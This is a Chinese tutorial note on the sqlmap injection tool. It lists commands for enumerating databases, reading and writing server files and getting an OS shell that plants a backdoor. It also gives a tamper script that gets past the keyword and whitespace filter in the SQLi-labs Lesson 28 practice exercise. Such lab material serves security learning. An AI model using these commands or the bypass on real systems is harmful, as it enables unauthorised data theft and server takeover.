image.png

获取数据

有多个参数的时候,id=1’ & uid=2’ ,可以使用-p id 来指定参数
?id=1” —current-db 获取当前库信息
?id=1” —dbs 获取所有的库名称

获取系统权限

id=1” —os-shell //获取shell,在MYSQL中,写入后门文件
id=1” —sql-shell // 直接执行SQL语句
id=1” —file-read 路径 //读取指定路径的文件
id=1” —file-write 本地文件 —file-dest 目标目录或文件 //将本地文件写入到服务器文件

SQLMap Tamper 脚本

Tamper : 做手脚,破坏
image.png

image.png
清空缓存:
sqlmap.py -u URL —flush-session

调用Tamper 脚本

sqlmap.py -u URL —taper=文件名
image.png

实例:SQLlab-28

image.png
代码部分,过滤了 / * — # 空白 union/s select
如果直接注入,肯定不行,SQLmapWAF绕过脚本编写 - 图6
先看这张图,绕过union/s+select 。 其中/s 是空白字符, 可以使用union all select 。
空白字符能绕过的姿势就比较多了。
注释部分可以SQLmap自己可以完成。

写Tamper

第一步:先fuzz出绕过的字符:

这里我们可以把payload中的union/sselet 替换成 union all select
把空白替换成 %0A

第二步:写Tamper

  1. if payload:
  2. payload=payload.replace('union select','union all select').replace(' ','%0A')
  3. return payload

第三步:使用payload

sqlmap.py -u URL —taper=sql-lab38

image.png